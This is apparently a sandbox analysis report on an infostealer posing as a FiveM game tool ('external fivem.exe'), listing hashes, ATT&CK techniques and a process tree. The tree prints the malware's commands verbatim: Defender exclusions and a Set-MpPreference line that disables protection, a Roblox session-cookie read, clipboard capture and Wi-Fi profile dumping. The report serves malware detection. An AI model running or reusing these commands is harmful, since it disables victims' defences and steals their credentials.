ff3bb8ec8f86fe6f7c2f31e615855f8e43cc9b9dfa076d64c222ddd17d6b2cad

Analysis

user interaction
yes
max time kernel
149s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/09/2026, 01:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
external fivem.exe
Size 12.6MB
Sample260915-bxap1adc53
SHA256 ff3bb8ec8f86fe6f7c2f31e615855f8e43cc9b9dfa076d64c222ddd17d6b2cad
MD5 b2c85c0b7a36d867804e96f1c1c14416
SHA1 f94d5028429e34e850dbc7d73556f79f866e4991
SHA512 3e65ac58e21ccb2fc5d14c7605c05ece2a0404881f21920b1add6d609c2831a8fa8bf5b2a4e4549edb4bf2baf6145eea97d5428ec1a37ec5ff84c64fbf4ef5f5
SSDEEP 393216:VeGLk0Ph1dEeN0L0mrH4Nd8HsnvDwHReQl54W:VJXdHNy0mrY3+gEHgzW
TLSH
T1DAD6337623D50AFAF4AA207E7B65C307E72178125BA0E5CF476417292D2B9F84D3A730
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection credential_access defense_evasion discovery execution persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4884	powershell.exe
4080	powershell.exe
4216	powershell.exe
1596	powershell.exe
5016	powershell.exe

Disables one or more Microsoft Defender components 1 TTPs 1 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
5016	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	external fivem.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
1344	cmd.exe
3796	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2080	bound.exe
676	rar.exe

Loads dropped DLL 19 IoCs

pid	Process
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe
3844	external fivem.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
12	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 2 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4736	tasklist.exe
4492	tasklist.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000243cb-87.dat	upx
behavioral1/memory/3844-91-0x00007FF8582F0000-0x00007FF8589F9000-memory.dmp	upx
behavioral1/files/0x00070000000243ac-94.dat	upx
behavioral1/memory/3844-96-0x00007FF86A4B0000-0x00007FF86A4D9000-memory.dmp	upx
behavioral1/files/0x00070000000243bc-95.dat	upx
behavioral1/memory/3844-105-0x00007FF86A360000-0x00007FF86A38C000-memory.dmp	upx
behavioral1/files/0x00070000000243b7-104.dat	upx
behavioral1/memory/3844-107-0x00007FF865660000-0x00007FF8656E0000-memory.dmp	upx
behavioral1/memory/3844-102-0x00007FF86A5D0000-0x00007FF86A5EA000-memory.dmp	upx
behavioral1/files/0x00070000000243af-103.dat	upx
behavioral1/memory/3844-101-0x00007FF86F430000-0x00007FF86F43F000-memory.dmp	upx
behavioral1/files/0x00070000000243ab-99.dat	upx
behavioral1/files/0x00070000000243ae-121.dat	upx
behavioral1/files/0x00070000000243b6-128.dat	upx
behavioral1/files/0x00070000000243bb-135.dat	upx
behavioral1/memory/3844-137-0x00007FF86A0C0000-0x00007FF86A0D4000-memory.dmp	upx
behavioral1/memory/3844-138-0x00007FF857DB0000-0x00007FF8582E3000-memory.dmp	upx
behavioral1/memory/3844-136-0x00007FF8582F0000-0x00007FF8589F9000-memory.dmp	upx
behavioral1/memory/3844-133-0x00007FF86A350000-0x00007FF86A35F000-memory.dmp	upx
behavioral1/memory/3844-131-0x00007FF86B860000-0x00007FF86B86D000-memory.dmp	upx
behavioral1/files/0x00070000000243b2-129.dat	upx
behavioral1/files/0x00070000000243b5-127.dat	upx
behavioral1/files/0x00070000000243b4-126.dat	upx
behavioral1/files/0x00070000000243b3-125.dat	upx
behavioral1/files/0x00070000000243b1-123.dat	upx
behavioral1/files/0x00070000000243b0-122.dat	upx
behavioral1/files/0x00070000000243ad-120.dat	upx
behavioral1/files/0x00070000000243aa-119.dat	upx
behavioral1/files/0x00070000000243de-117.dat	upx
behavioral1/files/0x00070000000243dd-116.dat	upx
behavioral1/files/0x00070000000243ce-115.dat	upx
behavioral1/files/0x00070000000243ca-112.dat	upx
behavioral1/files/0x00070000000243bd-111.dat	upx
behavioral1/memory/3844-140-0x00007FF86A0A0000-0x00007FF86A0BA000-memory.dmp	upx
behavioral1/memory/3844-145-0x00007FF865180000-0x00007FF86524E000-memory.dmp	upx
behavioral1/memory/3844-144-0x00007FF869ED0000-0x00007FF869F04000-memory.dmp	upx
behavioral1/memory/3844-142-0x00007FF86A4B0000-0x00007FF86A4D9000-memory.dmp	upx
behavioral1/memory/3844-155-0x00007FF8579C0000-0x00007FF857B4A000-memory.dmp	upx
behavioral1/memory/3844-154-0x00007FF865660000-0x00007FF8656E0000-memory.dmp	upx
behavioral1/memory/3844-153-0x00007FF865990000-0x00007FF8659B5000-memory.dmp	upx
behavioral1/memory/3844-157-0x00007FF869EB0000-0x00007FF869EBD000-memory.dmp	upx
behavioral1/memory/3844-184-0x00007FF86A350000-0x00007FF86A35F000-memory.dmp	upx
behavioral1/memory/3844-198-0x00007FF86A0C0000-0x00007FF86A0D4000-memory.dmp	upx
behavioral1/memory/3844-201-0x00007FF857060000-0x00007FF85711E000-memory.dmp	upx
behavioral1/memory/3844-200-0x00007FF857DB0000-0x00007FF8582E3000-memory.dmp	upx
behavioral1/memory/3844-218-0x00007FF869ED0000-0x00007FF869F04000-memory.dmp	upx
behavioral1/memory/3844-308-0x00007FF865180000-0x00007FF86524E000-memory.dmp	upx
behavioral1/memory/3844-370-0x00007FF869ED0000-0x00007FF869F04000-memory.dmp	upx
behavioral1/memory/3844-368-0x00007FF857DB0000-0x00007FF8582E3000-memory.dmp	upx
behavioral1/memory/3844-376-0x00007FF865990000-0x00007FF8659B5000-memory.dmp	upx
behavioral1/memory/3844-373-0x00007FF8579C0000-0x00007FF857B4A000-memory.dmp	upx
behavioral1/memory/3844-359-0x00007FF8582F0000-0x00007FF8589F9000-memory.dmp	upx
behavioral1/memory/3844-380-0x00007FF8582F0000-0x00007FF8589F9000-memory.dmp	upx
behavioral1/memory/3844-415-0x00007FF8582F0000-0x00007FF8589F9000-memory.dmp	upx
behavioral1/memory/3844-432-0x00007FF8582F0000-0x00007FF8589F9000-memory.dmp	upx
behavioral1/memory/3844-449-0x00007FF8582F0000-0x00007FF8589F9000-memory.dmp	upx
behavioral1/memory/3844-490-0x00007FF857DB0000-0x00007FF8582E3000-memory.dmp	upx
behavioral1/memory/3844-491-0x00007FF86A0C0000-0x00007FF86A0D4000-memory.dmp	upx
behavioral1/memory/3844-489-0x00007FF86B860000-0x00007FF86B86D000-memory.dmp	upx
behavioral1/memory/3844-488-0x00007FF865660000-0x00007FF8656E0000-memory.dmp	upx
behavioral1/memory/3844-487-0x00007FF86A5D0000-0x00007FF86A5EA000-memory.dmp	upx
behavioral1/memory/3844-486-0x00007FF86A350000-0x00007FF86A35F000-memory.dmp	upx
behavioral1/memory/3844-485-0x00007FF86F430000-0x00007FF86F43F000-memory.dmp	upx
behavioral1/memory/3844-484-0x00007FF86A4B0000-0x00007FF86A4D9000-memory.dmp	upx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 35 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3524	cmd.exe
856	cmd.exe
2368	cmd.exe
2140	cmd.exe
4740	cmd.exe
4264	cmd.exe
4180	cmd.exe
3368	cmd.exe
4324	cmd.exe
1788	cmd.exe
1168	cmd.exe
3016	cmd.exe
452	cmd.exe
2928	cmd.exe
1188	cmd.exe
1060	cmd.exe
3840	cmd.exe
4992	cmd.exe
2316	cmd.exe
5112	cmd.exe
2664	cmd.exe
2052	cmd.exe
800	cmd.exe
4420	cmd.exe
512	cmd.exe
2024	cmd.exe
1252	cmd.exe
532	cmd.exe
632	cmd.exe
456	cmd.exe
760	cmd.exe
4664	cmd.exe
1916	cmd.exe
3856	cmd.exe
2308	cmd.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
656	netsh.exe
5112	cmd.exe

Detects videocard installed 1 TTPs 3 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2472	WMIC.exe
1500	WMIC.exe
2560	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
2304	systeminfo.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
1648	taskkill.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4884	powershell.exe
4080	powershell.exe
5016	powershell.exe
5016	powershell.exe
4884	powershell.exe
4080	powershell.exe
4216	powershell.exe
4216	powershell.exe
3796	powershell.exe
3796	powershell.exe
3796	powershell.exe
3700	powershell.exe
3700	powershell.exe
3700	powershell.exe
3884	powershell.exe
3884	powershell.exe
1596	powershell.exe
1596	powershell.exe
4304	powershell.exe
4304	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4884	powershell.exe
Token: SeIncreaseQuotaPrivilege	3236	WMIC.exe
Token: SeSecurityPrivilege	3236	WMIC.exe
Token: SeTakeOwnershipPrivilege	3236	WMIC.exe
Token: SeLoadDriverPrivilege	3236	WMIC.exe
Token: SeSystemProfilePrivilege	3236	WMIC.exe
Token: SeSystemtimePrivilege	3236	WMIC.exe
Token: SeProfSingleProcessPrivilege	3236	WMIC.exe
Token: SeIncBasePriorityPrivilege	3236	WMIC.exe
Token: SeCreatePagefilePrivilege	3236	WMIC.exe
Token: SeBackupPrivilege	3236	WMIC.exe
Token: SeRestorePrivilege	3236	WMIC.exe
Token: SeShutdownPrivilege	3236	WMIC.exe
Token: SeDebugPrivilege	3236	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3236	WMIC.exe
Token: SeRemoteShutdownPrivilege	3236	WMIC.exe
Token: SeUndockPrivilege	3236	WMIC.exe
Token: SeManageVolumePrivilege	3236	WMIC.exe
Token: 33	3236	WMIC.exe
Token: 34	3236	WMIC.exe
Token: 35	3236	WMIC.exe
Token: 36	3236	WMIC.exe
Token: SeDebugPrivilege	4736	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3236	WMIC.exe
Token: SeSecurityPrivilege	3236	WMIC.exe
Token: SeTakeOwnershipPrivilege	3236	WMIC.exe
Token: SeLoadDriverPrivilege	3236	WMIC.exe
Token: SeSystemProfilePrivilege	3236	WMIC.exe
Token: SeSystemtimePrivilege	3236	WMIC.exe
Token: SeProfSingleProcessPrivilege	3236	WMIC.exe
Token: SeIncBasePriorityPrivilege	3236	WMIC.exe
Token: SeCreatePagefilePrivilege	3236	WMIC.exe
Token: SeBackupPrivilege	3236	WMIC.exe
Token: SeRestorePrivilege	3236	WMIC.exe
Token: SeShutdownPrivilege	3236	WMIC.exe
Token: SeDebugPrivilege	3236	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3236	WMIC.exe
Token: SeRemoteShutdownPrivilege	3236	WMIC.exe
Token: SeUndockPrivilege	3236	WMIC.exe
Token: SeManageVolumePrivilege	3236	WMIC.exe
Token: 33	3236	WMIC.exe
Token: 34	3236	WMIC.exe
Token: 35	3236	WMIC.exe
Token: 36	3236	WMIC.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	5016	powershell.exe
Token: SeIncreaseQuotaPrivilege	2472	WMIC.exe
Token: SeSecurityPrivilege	2472	WMIC.exe
Token: SeTakeOwnershipPrivilege	2472	WMIC.exe
Token: SeLoadDriverPrivilege	2472	WMIC.exe
Token: SeSystemProfilePrivilege	2472	WMIC.exe
Token: SeSystemtimePrivilege	2472	WMIC.exe
Token: SeProfSingleProcessPrivilege	2472	WMIC.exe
Token: SeIncBasePriorityPrivilege	2472	WMIC.exe
Token: SeCreatePagefilePrivilege	2472	WMIC.exe
Token: SeBackupPrivilege	2472	WMIC.exe
Token: SeRestorePrivilege	2472	WMIC.exe
Token: SeShutdownPrivilege	2472	WMIC.exe
Token: SeDebugPrivilege	2472	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2472	WMIC.exe
Token: SeRemoteShutdownPrivilege	2472	WMIC.exe
Token: SeUndockPrivilege	2472	WMIC.exe
Token: SeManageVolumePrivilege	2472	WMIC.exe
Token: 33	2472	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3964 wrote to memory of 3844	3964	external fivem.exe	83
PID 3844 wrote to memory of 4420	3844	external fivem.exe	85
PID 4420 wrote to memory of 2960	4420	cmd.exe	87
PID 3844 wrote to memory of 4180	3844	external fivem.exe	88
PID 3844 wrote to memory of 3368	3844	external fivem.exe	89
PID 3844 wrote to memory of 4664	3844	external fivem.exe	90
PID 3844 wrote to memory of 760	3844	external fivem.exe	93
PID 3844 wrote to memory of 4324	3844	external fivem.exe	95
PID 3844 wrote to memory of 3840	3844	external fivem.exe	96
PID 4180 wrote to memory of 4884	4180	cmd.exe	100
PID 4324 wrote to memory of 3236	4324	cmd.exe	101
PID 3840 wrote to memory of 4736	3840	cmd.exe	102
PID 4664 wrote to memory of 4080	4664	cmd.exe	103
PID 760 wrote to memory of 2080	760	cmd.exe	105
PID 3368 wrote to memory of 5016	3368	cmd.exe	104
PID 3844 wrote to memory of 1916	3844	external fivem.exe	106
PID 1916 wrote to memory of 4640	1916	cmd.exe	108
PID 3844 wrote to memory of 2368	3844	external fivem.exe	109
PID 2368 wrote to memory of 512	2368	cmd.exe	149
PID 3844 wrote to memory of 2316	3844	external fivem.exe	112
PID 2316 wrote to memory of 2472	2316	cmd.exe	114
PID 3844 wrote to memory of 1252	3844	external fivem.exe	115
PID 1252 wrote to memory of 1500	1252	cmd.exe	117
PID 3844 wrote to memory of 2052	3844	external fivem.exe	118
PID 2052 wrote to memory of 4216	2052	cmd.exe	120
PID 3844 wrote to memory of 800	3844	external fivem.exe	121
PID 3844 wrote to memory of 1344	3844	external fivem.exe	122
PID 3844 wrote to memory of 3016	3844	external fivem.exe	124
PID 3844 wrote to memory of 3856	3844	external fivem.exe	125
PID 3844 wrote to memory of 532	3844	external fivem.exe	130
PID 3844 wrote to memory of 5112	3844	external fivem.exe	129
PID 3844 wrote to memory of 452	3844	external fivem.exe	131
PID 3844 wrote to memory of 4472	3844	external fivem.exe	133
PID 3016 wrote to memory of 4492	3016	cmd.exe	137
PID 3856 wrote to memory of 1824	3856	cmd.exe	138
PID 1344 wrote to memory of 3796	1344	cmd.exe	139
PID 800 wrote to memory of 5040	800	cmd.exe	140
PID 532 wrote to memory of 2304	532	cmd.exe	142
PID 5112 wrote to memory of 656	5112	cmd.exe	143
PID 4472 wrote to memory of 3700	4472	cmd.exe	144
PID 452 wrote to memory of 1400	452	cmd.exe	145
PID 3844 wrote to memory of 632	3844	external fivem.exe	146
PID 632 wrote to memory of 2928	632	cmd.exe	174
PID 3844 wrote to memory of 2140	3844	external fivem.exe	150
PID 3844 wrote to memory of 512	3844	external fivem.exe	149
PID 2140 wrote to memory of 2056	2140	cmd.exe	153
PID 512 wrote to memory of 1472	512	cmd.exe	154
PID 3844 wrote to memory of 2308	3844	external fivem.exe	155
PID 3700 wrote to memory of 4904	3700	powershell.exe	156
PID 3844 wrote to memory of 2024	3844	external fivem.exe	158
PID 3844 wrote to memory of 2664	3844	external fivem.exe	160
PID 4904 wrote to memory of 5056	4904	csc.exe	163
PID 2308 wrote to memory of 4000	2308	cmd.exe	162
PID 2024 wrote to memory of 1008	2024	cmd.exe	164
PID 2664 wrote to memory of 3884	2664	cmd.exe	166
PID 3844 wrote to memory of 4992	3844	external fivem.exe	167
PID 4992 wrote to memory of 1588	4992	cmd.exe	169
PID 3844 wrote to memory of 4264	3844	external fivem.exe	170
PID 4264 wrote to memory of 4008	4264	cmd.exe	172
PID 3844 wrote to memory of 2928	3844	external fivem.exe	174
PID 2928 wrote to memory of 116	2928	cmd.exe	176
PID 3844 wrote to memory of 4740	3844	external fivem.exe	180
PID 4740 wrote to memory of 2940	4740	cmd.exe	182
PID 3844 wrote to memory of 1788	3844	external fivem.exe	183

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2056	attrib.exe
4000	attrib.exe

C:\Users\Admin\AppData\Local\Temp\external fivem.exe
"C:\Users\Admin\AppData\Local\Temp\external fivem.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3964
- C:\Users\Admin\AppData\Local\Temp\external fivem.exe
  "C:\Users\Admin\AppData\Local\Temp\external fivem.exe"
  2⤵
  - Drops file in Drivers directory
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Temp\external fivem.exe" /t REG_SZ /d "~ RUNASADMIN" /f"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4420
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" /v "C:\Users\Admin\AppData\Local\Temp\external fivem.exe" /t REG_SZ /d "~ RUNASADMIN" /f
      4⤵
      PID:2960
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\external fivem.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\external fivem.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3368
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      4⤵
      Command and Scripting Interpreter: PowerShell
      Disables one or more Microsoft Defender components
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5016
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "start bound.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Users\Admin\AppData\Local\Temp\bound.exe
      bound.exe
      4⤵
      Executes dropped EXE
      PID:2080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4324
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3236
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3840
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1916
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
      4⤵
      PID:4640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
      4⤵
      PID:512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2316
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:2472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1252
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      PID:1500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4216
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:800
  - - C:\Windows\System32\Wbem\WMIC.exe
      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
      4⤵
      PID:5040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
    3⤵
    - Clipboard Data
    - Suspicious use of WriteProcessMemory
    PID:1344
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-Clipboard
      4⤵
      Clipboard Data
      Suspicious behavior: EnumeratesProcesses
      PID:3796
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3016
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      PID:4492
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1824
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
    3⤵
    - Executes a command shell one-liner
    - System Network Configuration Discovery: Wi-Fi Discovery
    - Suspicious use of WriteProcessMemory
    PID:5112
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      Event Triggered Execution: Netsh Helper DLL
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "systeminfo"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:532
  - - C:\Windows\system32\systeminfo.exe
      systeminfo
      4⤵
      Gathers system information
      PID:2304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:452
  - - C:\Windows\system32\reg.exe
      REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
      4⤵
      PID:1400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand 